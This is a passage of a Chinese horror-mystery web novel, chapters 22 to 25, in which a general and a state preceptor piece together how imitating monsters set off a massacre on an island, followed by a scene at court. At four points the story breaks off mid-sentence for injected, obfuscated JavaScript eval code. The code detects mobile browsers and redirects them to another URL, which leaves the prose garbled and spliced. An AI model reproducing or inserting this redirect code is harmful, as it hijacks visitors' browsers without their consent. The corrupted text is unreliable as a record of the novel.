檀妄生看着木条在指间转了两圈,又在它快要被甩出时一把抓住,慢慢地道,“我们的确在他柜子里找到了他写的那些东西……与其说是写的记录,倒不如说是十几幅画像。那上面墨迹晕染,线条杂乱,但当时看到那画的每个人都知道他画的是什么。” 那是自所有随行官员登岛之后,岛中心每一个死去之人的尸体惨状。 于是事情就演变成了这样:被钱鸣指控的男人当场爆发,声称自己从未写过这些东西,也没有半夜惊起。但那些图纸确确实实在他柜子里,而每一次有人意外发现尸体,他都在围观人群之中。面对那么多惊骇的目光,他根本说不清楚,也不知道从哪讲道理。于是,不可避免地,他当众给了钱鸣一拳。 鼻血喷涌。惊呼四起。 男人当晚就被关了起来,那是一间早已废弃的小屋,由影将军的人严密看守。众人惶恐不安,这是他们第一次抓到‘鬼’,几乎把注意力都放到了男人身上,生怕他突然在屋子里上演什么血溅当场。但所有人都没想到,真正的那个“鬼”,其实是指控他的钱鸣。 大概是因为那一拳,又或是本该两个人同住的屋子如今变得空空荡荡——钱鸣很快就意识到了,自己每夜所看到的景象,其实全部都是幻觉。而真相是,他每晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812344|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会坐在桌前逐一画出每一具尸体,死者的面容,扭曲的四肢,身上每一处狰狞的伤口,而后在男人醒来前把东西妥善藏好。 “但钱鸣并没像他一样,站在围观人群中看着那些惨不忍睹的尸体。”檀妄生补充说,“甚至有几次,从尸体被发现直至被抬走掩埋时,他都一直在屋子里休息。” 所以,这就意味着,那个给钱鸣透露每一具尸体伤口细节的人,很有可能就是藏在岛中心的“鬼”。 揪出这个人并不算难,只要找到那些总会在有人出事的第一时间赶到的人就行了。而这些人当中,算上影将军的部下,足有十人。 “但画上的一具尸体比较特殊,他被发现于岛中心外的一处废弃井底里。”檀妄生道:“因为是头朝下坠落,导致那人的脖子弯折成一个极其扭曲的姿势。为了大家的精神安全,当时在场的所有人都不约而同地对此保密,而算上这一具尸体,符合条件的只有三人。” 那是距离屠杀爆发前一个时辰的事。 天色阴沉,屋里几盏残烛忽明忽暗,映着屋里满地鲜血。两个人赤身站在角落,面露惊色,身上溅着大片血迹,大概是没想到檀妄生会下手这么干脆利落——距离他们不远处,一个男人就倒在血泊里,同样光着身子,头颅则缓缓滚到了脚边。 没有人知道这间废弃木屋里发生的事。 “我让每个人都说出了自己这段时间大致都做了什么。”檀妄生道:“但那个人却说,从踏进这里后,他只有两次离开过岛中心。有意思的是,其中一次出岛,刚好让他成为了井底尸体的第一个目击者。而那个时候,正巧有侍卫在找人,便瞧到了他站在井口,才发现了那个失踪的人。” 准确来说,是发现了四个失踪的人。 其中三个便是聚在井口的官吏。他们前一日在天亮后便一起离开了岛中心,只说去附近探查些情况,但直到日落后,人也没有回来。 萧明灿忽然想起了之前在枯树丛时,她和檀妄生杀的那几个村民。 那些怪物虽然能侵占活人的重伤之躯,可一旦头部或颈部受到攻击,就会彻底死亡。那个落井之人脊柱断裂,说明他在落地的一瞬间就没了性命。但怪物制造幻觉的原因并不是让他们利落自杀,而是让他们把自己弄得重伤濒死,从而彻底击溃他们的防线。 所以,这就意味着,他们其实是在狩猎那个人。 但……话又说回来,这些毫无理智可言的怪物,是怎么在人群当中潜伏这么长时间的? 它们身上难道真的没有任何足以重伤的伤口? ……如果,如果没有人在刻意隐瞒的话,它们真的能在这种人人草木皆兵的局势里坚持这么久吗? 22. 炼狱 不,重点其实并不在于“是否”有人隐瞒,而是“能否”有人隐瞒。 那些怪物的特点是什么? 身上带着致命伤,言语混乱,行为反常。 它们身上为什么会有极其严重的伤口? 两种原因,第一种是幻觉使然,第二种便是它们可以利用这种血肉模糊的伤口来加深其他人的恐慌。当一个人被困在远超出认知的绝境里,看着身边人接连变成了面目全非的怪物,很难不去担忧自己会不会成为下一个他。 但如果某一天,对于那些怪物来说,触目惊心的伤口反倒成了一种“累赘”呢? 萧明灿想。 伤口的确能让人感到不安,但同样,也能让它引来杀身之祸。它们和檀妄生针锋相对了三年,却依旧没能如愿“吃”掉这块大肉,为什么?因为它们只要顶着那副摇摇晃晃的身体,靠近岛中心一步,就会被射杀。 这也是为什么要把“是否”换作“能否”的原因。 岛中心有很多人,官员,侍卫,甚至是随行的御医,即便檀妄生一行人可能会为了某种目的隐瞒那“鬼”的行踪,其他人也不可能不会察觉到身边人是个连路都走不稳,话也说不清,身上还带着不明伤口的怪物。 所以,如果它们真的能够模仿和学习,这个时候就会知道,狰狞的伤口反而变得没那么重要。 但破坏躯体是让其得以占据身体的重要媒介,这意味着身体的主人已经彻底被恐惧吞噬,把极端的死亡当成了能够解脱的梦乡。它们无法避免这条“规则”。那么,能足以造成濒死,却不易被察觉的伤口都有哪些? 萧明灿想到了白日登岛时发生的那场混乱,轻轻揉了揉额角,问:“……那个人在被占据尸体前,曾‘死’于窒息或溺水?” 檀妄生点点头,“在他们还没意识到怪物也在观察他们的一举一动时,那人曾短暂地失踪过一段时间。大概半个时辰左右。那时天已经开始暗了,四周又都是山,那三个同伴在附近找了一圈没找到,正准备回岛中心叫人帮忙时,就发现了他。” 他把木条扔进火中,抬起垂着的眼睛,洞口处的哀叫越发接近,而他却看向了萧明灿。 与彼此的狼狈相比,他的目光总是显得格外悠闲。他不曾瞥向铺在火边的衣袍,也不曾看向她身上湿漉漉的中衣,只是静静望着那双乌黑的瞳孔,仿佛那里藏着更吸引人的秘宝一样。一缕湿透的额发垂在眉峰,使萧明灿清隽的容貌看起来比以往更加锋利。然后,他轻轻挑动嘴角,露出一个笑容。 “就像我们一样,”他靠着石壁,“浑身湿透,精疲力尽,走路不稳。他的同伴最初还以为他也被怪物同化了,但哆哆嗦嗦检查了一遍后,发现他身上除了一些礁石的划伤外,再无任何伤口。也没有说过什么神神叨叨的话,相反,他非常安静。无论问什么,都只重复说:‘不慎掉下去了’。” “……所以,”萧明灿并没有移开视线,“他们并没有起疑,只当他是因为落水后受了刺激。” “没错。”檀妄生转头看向洞口,外面的雨声逐渐被海浪声取代,那些此起彼伏的哀叫就像围聚在渔岛滩边的海鸟,他道:“这之后,又有几人短暂地失踪过一段时间,然后又奇迹般地‘出现’。他们身上没有任何致命伤口,也不见含糊不清的疯言疯语,只是呆滞地看着眼前的人,嘴里嘟哝着‘不小心’、‘失足’、‘躲了一夜’之类的话,就像是被吓坏了一样。没有任何人察觉到异常。” 没有任何人察觉到异常。那个时候岛中心还没有人无缘无故惨死,大多数伤亡都来自于探查那些非人之物。所以,当有同伴奇迹般地生还后,他们感到无比庆幸,因为从某种角度上来说,这也让他们看到了一些希望,尽管他们从未去细思过这种希望到底是什么。 这种类似于劫后余生的喜悦让他们短暂地忽略了某些细节。而直到钱鸣死后,檀妄生等人顺藤摸瓜找到怀疑之人,大家才后知后觉意识到,其实当初那几个生还的落水之人,一直都处在言语混乱、行为异常的状态里。 因此,当一部分人恍然回想起之前那三个站在井边的人,恰巧都曾在不同时间地点失踪过时,局势已经开始走向失控。 那是距离屠杀爆发前一刻钟的事。 根本来不及通知所有人这件事的真相——就在檀妄生斩杀了其中一个“鬼”后不久,岛中心最偏僻的一处木屋突然起了火。 四人在火海中丧生,其中一人就是他们当时怀疑的“鬼”。 “……后来的人说,那里原本住着两个随行官员,而另外一个正巧来找他们来喝酒,顺便谈些事情。”檀妄生道:“意外发生得太突然了,他们完全没料到自己的同僚会突然朝他们冲过来。大概是因为他手上拎着两坛酒的缘故吧。总之,当他们反应过来时,其中一个人已经被酒泼了满身。” 之前在岛中目睹过同伴接连惨死的警觉让官员们立刻就意识到了不对,他们当即拔剑反击。但刀捅进那人身上,就如同刺进米袋,除了鲜血喷出之外,那人的动作几乎没有一点迟滞。 大火很快顺着烈酒燃烧起来。 火苗顺着衣摆上窜,三人慌不择路地往外逃,但因身中刀伤,动作看起来格外迟缓怪异。当有人闻声赶来时,就看到了四个火人正在雨夜中挣扎惨叫。 檀妄生说:“有人曾想过要去救他们。” 但那些人很快就注意到了走在最后的那个火人。 他栽栽歪歪走出院子,大雨浇不灭他身上的火苗。接着,他停下了脚步,就像是登上戏台的丑角一样,就这么直直地站在众人视线的中心,用那双将要融化的瞳孔盯着每一个仓惶赶到的人。就在周围三人颓然倒地时,他发出了那种熟悉而渗人的尖叫。 “……那些人还不知道岛中心怪物的真相,”萧明灿低声分析着,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人群开始慌不择路,似乎有人在周围喊着什么,大概是些让他们冷静的话,但他们还是会不由自主地去想刚刚发生的一幕。岛中心既然藏了那怪物,那么到底会有多少怪物藏在他们之间? 一个?五个?十个? 尖叫声打断了思绪。他们试图冷静,几人打算躲进屋中,但却恰巧见到有人浑身是血地从屋里爬出来。他们再次慌乱起来。侍卫提刀在狭窄的石路上疾行,似乎有更要紧的事做,只来得及对他们说:“找个安全地方,别乱走!” 恐惧像是附着在脊柱上的虫子,一点一点啃食着他们的血骨。 哪里才是安全之处? “岛中心之外。” 萧明灿轻声说。 而与此同时,一只血手骤然扒住洞口,在嘶哑的哀叫中,缓缓探出半个额头。 23. 惨剧 萧明灿一直认为,声音是继脸庞之外,能够表达状态和情绪最直接的方式。 就比如此时此刻的那只怪物。 有那么一瞬间,它的叫声几乎和海浪声融在了一起。那是一句粘稠又粗哑的咕哝。仿佛鱼在水中吐着泡泡,含着雨水的靴子踩进泥地,亦或是把脸埋在一滩被爆竹炸开的血肉里呼吸。 它是谁? 或许是某个官员,某个侍卫,随行的医者?檀妄生的部下? 不管是谁,它跳下断崖时一定砸上了暗礁,又或者在攀爬时的一次次摔落让他伤到了脸,以至萧明灿只需听声音,就能想象到到它下颌破碎的惨状。声音从喉咙里发出,堵在塌陷的碎肉之间。 檀妄生取下旁边革带里的小型铳,被浸泡过的管筒还滴着水。他随手掂了掂,似乎正准备朝那怪物抡去,就见萧明灿已经起身,走向洞口。 怪物的动作异常缓慢。火光映着它那双血手,被海水浸湿的黑发糊在脸上,遮住了他大半张血肉模糊的脸,像是话本中深夜从井里爬出的厉鬼,但萧明灿此时倒有点庆幸,那些海草似的发缕挡住了他脸上狰狞的血洞。 她深吸一口气,反握匕首,单膝跪地,判断大致方位后就闭上了眼睛,在那怪物缓缓仰头时一刀狠刺进眼眶。 哀叫声戛然而止。那身影一路跌下山壁,砰然砸在了礁石上,接着又被海浪吞没。 萧明灿撑着膝盖起身。天地暗得就像浸在一缸浓稠的墨里,周围嘶哑的哀叫被狂风骤浪卷得断断续续,感觉像是将要溺死在墨里的可怜人。萧明灿无法判断周围到底还有多少怪物正攀着石壁朝他们涌来。似乎不计其数。 萧明灿不由想象着三个月前那群试图在黑暗里寻找出路的人。 “……如果,”身后一道懒洋洋的声音传来,“我们等它上来后再动手的话,说不定就可以饱餐一顿了。” “……什么?” 萧明灿顿了一下,稍微偏头,“将军在开玩笑吗?” “我还以为这是我们眼下最应该考虑的事呢。”檀妄生悠然倚着石壁,掂了掂手里的火铳,“外面那群怪物现在对我们虎视眈眈,而我们就像被追着跑了一整座森林的兔子一样精疲力尽,甚至很有可能会冻死在这里。就目前仅有的来看,食物是能让身体快速恢复的好办法……当然,” 他露出微笑,“如果是热腾腾的肉的话,就再好不过了。” 萧明灿用握刀的手背蹭掉脸颊的血点。大概是喝了烈酒的缘故,出乎意料的,她没有忽略这句半开玩笑似的话,轻哂道:“……我们只不过是被困在山洞里一夜而已,就已经沦落到要吃人的地步了吗?” 檀妄生笑了笑,“这座岛上几乎每天都在上演这种事,每一次死亡都来自于猎杀。怪物对活人的狩猎,活人对怪物的反击。吃人这种事情,在这座岛上就和家常便饭一样常见。”他感兴趣地看着国师,“更何况,国师不是也说过吗,它们已经不是人了,而是怪物。” 萧明灿再次望向外面。哀叫声还在洞口下方回荡。她把匕首缓缓插进刀鞘,沉思了片刻,然后问:“……所以,这就是怪物的计划?既然无法靠近岛中心,索性就把他们赶出去,然后吃掉他们?” 檀妄生道:“或者说,同化他们。” 萧明灿走到火堆边。 “那个时候,对他们来说,相比于厮杀遍布的岛中心,一片安静的岛外似乎更安全一些。”檀妄生把火铳放到了火堆边,道:“他们刚开始还在犹豫不决,但……虽然‘规则’告诉他们不要在夜晚和阴天时离开岛中心一步,不过,本应该最安全的岛中心如今已经成了怪物的狩猎场,于是他们想着,‘规则’也许也会出错。” 萧明灿说:“所以,他们就冲了出去。” 檀妄生点头,“那些得知情况的随行侍卫和我的人一直在阻拦,但结果可想而知,事态已经失控到了光靠三言两语根本无法平息的地步。我们告诉他们岛中心的确存在怪物,并且已经确认是谁,而他们会怀疑会不会还有更多就连我们也没发现的怪物潜入其中,即便已经解决了一个,怎么保证不会有另外三个藏在人群里袭击他们?” 他们已经彻底陷入混乱。 因为死的人实在是太多了。 与被一剑封喉或是脖颈折断而死不同,今夜那些人|大都死于烈火,他们看着那些人身上包裹着火焰在他们面前踉跄行走,又看着另一人在火中哀嚎倒地。惨叫声在黑夜里回荡。他们几乎分不清到底谁才是一直潜藏的“鬼”,谁又是被“鬼”陷害的无辜之人。 又或者,他们全都是非人的怪物。 “……这就是它们的诡计。”萧明灿沉默了一瞬,喃喃说:“利用大火,让人群以为岛中心的怪物不计其数。” 于是,结果可想而知。 “这就像是一群羊突然闯进了狼的领地。”檀妄生道:“在他们跑进附近的山中不久,那些藏在林中的怪物就出现了。” 很快,就响起了一阵撕心裂肺的叫声。 那是怪物受到攻击时才会发出的声音,目的是为了召集同类,传递信号。而对于生者来说,这种尖叫声更像是一柄攻击理智的刀,缓缓刺进头皮,一点一点刮动着头骨。惊骇的感觉清晰无比。 他们环顾四周。黑夜,大雨,身中数刀却不会死的怪物。绝望的处境里,他们几乎立刻就失去了判断。 不久后,厮杀声代替了尖叫,然后是断断续续的惨叫、求救,接着就连惨叫也消失了。 “于是,就如同国师心里想的那样,”檀妄生看着萧明灿,道:“留在岛上的几个侍卫打算带着火铳去救人。” 萧明灿正伸手烤着火,闻言转头看他,“我以为将军不会轻易让他们带火铳离开。” 檀妄生挑起一边眉,似乎觉得诧异,“在国师眼里,我已经糟糕到会对一大群无辜之人见死不救的地步了吗?” 萧明灿没有回答。 “即便国师不相信我,也应该相信那些官员。”檀妄生有些被冤枉的无奈,“毕竟,抛开超出认知的怪物不谈,来到这座岛上的人官职都不算低,最起码,也是皇城里能说得上名字的。他们必须要保护好那些人,这是他们的职责。” 萧明灿看着他,明亮的眼眸里没有任何鄙夷或责怪。 气氛安静了半晌。 最终,檀妄生笑了一声,向后捋着垂下来的额发,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“国师这么聪明,说不定会找到其他解决困局的办法。”檀妄生收回手,笑着道:“比如,带着船上那群人翻遍岛中心,搜找我的屋子,或是严刑拷问那些活着的人。退一步来说,岛上还有那么多的火铳,即使找不到对付怪物的办法,说不定也能得到些关于那火铳的意外收获。” 他说到这,笑容又加深了些,“这里对于国师来说,是座宝藏岛也说不定。” 萧明灿揉了揉手,淡然地问:“将军会把那些东西像钱财一样都妥善珍藏起来吗?” “说不定呢。”檀妄生道:“国师觉得我会把那东西藏在哪?” 萧明灿看向檀妄生。他依旧一副吊儿郎当的模样,旁边扔着装配武器的革带,但除了几个锦袋以外,没有任何武器。那把小型的三眼铳已经成了浸水的废铁。 萧明灿看着他胸前那道随着呼吸微微起伏的伤疤,似是认真想了想,说:“以将军的性子,大概会纹在背后?” 檀妄生像是听到了什么新奇事,“那种遇热则显的文身?国师的想象力很丰富。” 几滴雨珠啪嗒啪嗒砸在洞口的石壁上。 “……如果我真那么做了的话,现在皇上寝殿的墙上就不会挂着帝王弓,而是我的皮了。” 檀妄生点了点额角,微笑着说:“珍宝当然要藏在这里,才不会被人夺走。” 24. 哭咽 影将军总是会有这种奇特的本事。 如果换个人说出这句话,任谁听了,都会觉得这是个愚弄人的警告——自己只不过是个为了在孤岛上生存而战战兢兢的人,而他是猜不透想法的权利者。拼尽全力想要的线索不过只是吊在头顶的一块肉,自己只能被这块肉驱使着前进,却永远也得不到。 但他的声音实在是柔和而诱人。 似乎比起享受旁人为了一点诱饵而焦头烂额的疯子,他更像是仓促把珍宝藏在身上的青年。没有任何陷阱或诡计,更不存在什么上位者掌控的游戏。这么做的目的只是为了让你去接近他,拥抱他,甚至是—— 毕竟他看起来伤痕累累,又手无寸铁。那些溅在他身上的血来自每一个曾试图伤害他的怪物,留下的伤疤代表着他四面楚歌的困境。这是一次真诚的坦白,一个疲惫不堪的示弱。 又或是,一场笨拙又直白的求爱。 萧明灿看着他。浓烈的酒气弥漫在两人之间,盖过了血腥和焦木的气味。她忽然叹了口气,走向檀妄生,然后俯下身来。白色的袖角轻轻垂落,拂过他的脸颊。 “放心。”萧明灿抬指撩起他额角的碎发。他的体温很烫,以至当那微凉的掌心蹭过额头时,他就本能地贴了过来。这动作让他看起来像只乖顺的狗,但那双眼睛里却没有任何可怜无辜的意味。 她温声说:“我会让将军好好活下去的。” 檀妄生抬起眼。大概是因为他的确很享受这种微凉的触感,正准备说的话也在脑中烟雾似的散了。他轻笑了笑,刚要开口,却见萧明灿已经收回手,然后递给了他一件染血的衣裳。 “虽然是上一个人留下的,”萧明灿看了眼不远处那摊残留的灰烬,“但也是唯一一件被暖热的衣裳了。穿上吧,别冷到。” 檀妄生瞧着她苍白的唇色,没有去接,“国师看起来比我更需要它。” 萧明灿平和地说:“总要比一个胳膊被打得血肉模糊的人好些。” “国师有所不知,”檀妄生身子前倾,绕过染血的外衣,伸手探向她腰侧的匕首,“我曾经在战场上受过比这更严重的伤。” “将军也是人,又不能保证每一次受伤都不会危及生命。”萧明灿一把扣住那只手,一点点从刀柄上挪开,然后把衣裳放到他手里,“我会保护将军。我们轮流守在这里,石壁陡峭,只要有人看着,它们就不会上来。” 檀妄生想要再说些什么,但萧明灿已经起身走向洞口。外面的雨已经停了,可浓云依旧遮挡着月光,黑暗就像墓地一样沉重。只有微弱的火光映着周围的石壁。萧明灿垂眼就能看见石壁尽头那几道晃动的影子,海浪一下一下扑向它们,如同一只没有牙的野兽在吞吃食物。 那场屠杀爆发的关键来自于恐惧。 而恐惧出现的原因是“未知”。 这座岛上充满了危险。他们对那群怪物几乎一无所知,不了解它们的习性,猜不透它们的目的。他们也许会知道如何让那些刀枪不入的怪物彻底丧命,但当它们披着同僚的皮囊,用着和同僚一样的声音藏在人群中时,很少能有人干脆利落地割开它们的脖子。 因为他们甚至无法清楚判断出,身边的人到底是不是所谓的“鬼”。 而这就是问题所在——就像他们之前所想的那样,每一个残缺不全的线索都会带来新的谜团,而当它们试图去解开谜团时,往往又会诞生出另一个意料之外的混乱。 最初,当他们曾尝试去探清那些怪物的弱点时,发现了身边的同伴反而因各种意外接连失踪。他们从同伴的伤亡里得到了关于怪物懂得“观察”和“学习”的线索。他们因此撤回到岛中心。但不久,他们又意识到人群当中藏进了“鬼”。他们试图找出那个人。可就在将要找到答案时,那场烈火彻底击垮了他们。 因为他们只有残缺不全的线索。 这就像是在泥泞路上蹒跚起步的幼童,每一次迈步都伴随着摔倒的风险。而每一次摔倒,都有可能让他们丢掉性命。 石壁下方,一道身影被海浪卷走。狂风里隐隐约约回荡着怪物的叫声,如同雨夜送丧队伍里传出的哭咽。萧明灿指腹轻轻摩挲着刀柄。 但是,他们为什么会面临这种“未知”的处境呢? 这听起来似乎并没什么问题:他们在登岛后发现了怪物的存在,从而决定找出真相。他们开始探查怪物,寻找线索,然后陷入混乱,最终彻底—— 但重点在于,这场屠杀就发生在三个月前,也就是第二批押送队伍赶到的时候。那场探查怪物的计划从开始到走向惨绝人寰的屠杀,只用了短短一个月的时间。而这就意味着,这只是第二批队伍遭遇的事情。 那么第一批登岛的队伍呢? 如果影将军并没有刻意隐瞒什么,而是直截了当地把怪物的事情告诉了他们,第一批队伍也一定会像他们那样寻找真相。即便或许会遇到什么棘手的麻烦,甚至是某种惨剧,但在伤亡之后,他们至少会得到一些线索。就像第二批队伍知道了“观察”和“学习”,甚至是怪物身上的“致命伤口”不仅仅只局限于狰狞可怖的刀伤一样。 既然如此,那么当第二批队伍登岛之后,接收到的情报应该不止是以“探清怪物习性”来作为“开场”。至少,他们应该能从第一批队伍那里得知些线索,比如,有怪物会一直在暗处观察他们。而不是在同伴接连惨死后才意识到这个问题。 这说明什么? 他们登岛之后,自始至终都未曾见过先前登岛的队伍。就像萧明灿一样,这座岛所发生的一切对于他们来说,完全是超出认知的诡异。 先前登岛的队伍去哪了? 难道在第二批队伍登岛之前,那些人就已经死了吗? 萧明灿望向远方海面。 ……还有,那批登岛的队伍真的都尽数死在那个雨夜了吗? 不,当然没有。萧明灿想。至少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864637|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那个曾说出“怪物特征”而引发混乱的侍卫还活着。 再者说,如今岛上的怪物之所以数量极多,是因为它们同化了先前登岛的押送队伍。但在惨剧发生时,以那些怪物的数量,不可能会在一夜之间将那群人屠杀殆尽。最起码,他们即便躲无可躲,也完全可以杀出一条血路回到船上。 既然岛内岛外都有人幸存,他们为何不将消息传给皇城? 在这其中,影将军又扮演着什么角色? 一个充满善心的好人? 耐心地告诉他们这座岛上的一切危险,给他们提供任何帮助,知无不言,竭尽全力,就像独守陵墓的慈祥老人一样? 影将军真的在帮助他们吗? 萧明灿抬指解开匕首旁的锦袋,抽出里面的木块。 方才跳下断崖后,她在找檀妄生时恰巧在一块礁石缝隙处发现了它。那木块只有掌心大,柱体,上下两侧有断裂的痕迹。这是船上桅杆的顶端。而那表面绘着的银色祥云纹,则代表它来自第二批押送队伍的领航船。 附近虽有暗礁,但并不密集,单纯地触礁倾覆不可能会让桅杆碎裂到这种程度。 萧明灿指腹摸向木块的裂处。 除非是被火炮击沉。 就在这时,木块后方的黑暗里忽然闪出一点火光。 萧明灿抬起头,只见茫茫大海上划来一艘小船,船上坐着大概四五个人,各个举着火把。或许是因为太远的缘故,那微弱的火光在海中摇曳闪烁,像是小鬼在眨动眼睛。 ……是小沈将军吗? 萧明灿握紧木块。不知何时,那哀嚎声彻底消失了,周围只剩下海浪和风声。她静静看着那小船一点一点行进。他们似乎也看到了洞口的光亮,朝着这边划来。但紧接着,其中一人好像突然发现了什么,指向洞口左侧一处礁石,几人稍作犹豫,又朝着那边划去。 火把映着站在礁石上的那几道人影。他们脊背微弯,抱着胳膊,像是因为全身湿透而不停发抖。船上的一人抬手比划着什么,似乎在尝试和他们沟通。接着,扶着几人慢慢上船。 萧明灿听到了身后的脚步声,稍稍偏头。借着背影遮挡,不动声色地扔掉木块。 檀妄生揉了揉后颈,懒散地问:“……怎么了?出事了?” 与此同时,被救上船的那几人不知做了什么,他们身前几道人影颓然倒下。火把掉在船上,映着其中一人颈间呲出的血线。 萧明灿皱起眉,下意识探向腰侧,紧接着忽觉侧颈一疼,还未来得及反应,就失去了意识。 檀妄生一把托住萧明灿,慢慢随着她一同跪在地上。他将人抱进怀里,把那件染血的衣裳盖在她身上。 而远处,几个怪物在船上大快朵颐地吃着什么,男人撕心裂肺的惨叫回荡在海上。檀妄生漫不经心地理着她贴在脸颊的湿发,瞧向眼下那两颗小痣。 “……我明明说过,国师比我更需要它。” 25. 迷雾 “你不需要亲自前去。” 殿里,披着玄色龙袍的人站在窗前,将手中的信纸倒扣在桌上。 透过微开的木窗,能看到几个大臣正站在阶下,官袍被汗水浸透。其中一个上了年纪的大臣体力不支,身子微微摇晃,在抖着腿倒下之前,被手疾眼快的小太监扶住。 小太监举伞倾向老人,赔笑劝着什么。老人固执地将人推开,用袖袍抹了把脸,继续和一行人站在午后烈日之下。 皇上对此只是淡淡看了一眼。旁边的桌上散着几十本折子,其中大多是关于押送罪臣檀妄生一事,而上面的内容和外面大臣来此的目的也别无不同。 “朕已经给过他太多机会了。”李意真指尖点了点桌上的信纸,“无论他想要做什么,朕都不会再去纵容。三日之后,沈祁安的船队就会启程。” 萧明灿走了几步,望着窗外那几道人影,温言说:“……以小沈将军的实力,踏平那座岛自然不在话下。可杀了那罪臣之后,无论是当年营啸的真相,还是火铳秘术,皇上就再也无从知晓了。” “他算到的就是这个。”李意真语气沉肃,“朕当年留他一命,放任他在孤岛调查营啸一事。但三年之后,他倒仗着自己手握些筹码,在岛上当起了土皇帝。耍泼也要有个限度。” 萧明灿拿起桌上的信纸。距离第二批船队出海已经过去近三个月之久。十天之前,送来的信还称他们将会在两日后登岛。但这之后就再无任何音信。直到二十五天之后,那边终于传来了信,但只有寥寥一句话。 岛上情况紧急,恳请皇上派国师前来相助。 萧明灿曾在多年前见过檀妄生的字迹,那时关于他的传言已经成了权贵之间酒后闲谈的好话题,因为就在前不久,他在朝堂上公然将一文臣打成重伤。而那文臣恰好是户部侍郎的某个表亲,所以,理所当然的,利用这点来借机惩处影将军的折子数不胜数,惹得皇上一阵心烦。 萧明灿向来对这种做事不计后果的莽夫不感兴趣,也没有刻意听过那些传闻。直到偶然间看到府中下人传阅檀妄生喝醉后随手写下的即兴诗,她才发现那字迹竟比本人要沉稳得多。虽然那诗的内容看起来和当时年仅六岁的小公主写的差不多。 后来在诏狱里,她亲眼看着檀妄生一字一句写下关于那场营啸的经过。大概是因为受过刑伤的缘故,他的字比以往要潦草不少,但却多了几分苍劲,如同长刀滑出锋芒。 而这信纸上,就是那种字迹。 那几乎算得上是一种挑衅。 因为檀妄生知道,她一定会看到这封信。 “……这些信在呈给皇上之前,应该就已经给太傅看过了。”萧明灿将信轻轻放到桌上,平静地说:“或许檀妄生是有什么难言之隐,才没有将具体情况告知皇上。” 李意真说:“又或者,他在等太傅出手。” 营啸爆发的这三年里,皇上和太傅依旧在朝堂上明争暗斗,大臣们明面上恭顺圣君,实际早已在暗中各自站队,如同树木在土中盘根错节,不知不觉间,已经成了相互制衡的僵局。但这对于皇上来说,是极其不利的处境。 她是一国之君,却始终要受一臣子牵制。早年她刚刚登基,朝中局势诡谲复杂,她年纪太轻,又无太多亲信,为了清理那些啃食江山的蛀虫,才把陈太傅这颗棋子放进朝堂之中。这的确是一步好棋。两人相互联手十几年,经过几轮清洗,朝堂上那些昏庸无能的人消失了。但同时,那个曾经用来斗蛊的棋子反倒成了逐渐无法忽视的敌人。 当皇上意识到自己引狼入室的时候已经太晚了。如今,朝中无论大小事情几乎都要经由太傅之手。太傅对此美名其曰辅佐圣贤,但宫中却已隐隐传出二王共治江山之言。历代君王里有太多这种血淋淋的先例了,如果皇上再这般僵持下去,早晚会被一点点架空权力,和傀儡帝王别无二致。 直到今年年初,边境战事再起,僵局才隐有动摇之兆。因为皇上可以借用边境战况频频失利一由,以自由为筹码,让檀妄生彻底为己所用。 三年前的流放对于皇上来说是场赌局,皇上的确想知道营啸的真相,也想得到檀妄生手上的一些东西。虽然活人远不如死人保险,但把他扔到孤岛,有檀家在,总不会掀起什么波澜。 可如今,派去押送的队伍在登岛后再无音信。而出乎意料的,太傅对此并未有太多干预,毕竟就算他不出手,朝中反对重用罪臣的谏言也多到数不胜数。皇上在这罪臣身上一味地固执己见,甚至让朝中大臣开始怀疑皇上是不是中了什么巫蛊之术。 而眼下孤岛那边终于有了消息,却是无异于意图谋反的敷衍。 为什么? 檀妄生或许和太傅做了什么交易。 有什么好处能在越过皇上的同时,丰厚到足以让檀妄生以命相搏? 掌权后重用檀家? 不无可能。毕竟檀妄生的亲人只有镇北王一人。檀妄生虽是镇北王收养的孩子,但在出事后,镇北王府也跟着受到了牵连。檀家现任家主虽在朝中有一席之位,也早已大不如从前,成为皇城里众多没落贵族的一份子,不过只是时日问题。 檀妄生想要重振檀家,也是情理之中。 但正如皇上所想,檀妄生只是个被困在孤岛的罪臣,即便无法为己所用,皇上也大可以听从那些朝臣的劝谏,直接以谋反罪名除掉檀妄生。皇上用不了的人,太傅也别想触及。 萧明灿看着桌上摊开的折子,默然了片刻,而后轻声开口:“……也许,这对皇上来说也并非是坏事。” 李意真稍稍侧头,指腹轻抵着桌面。 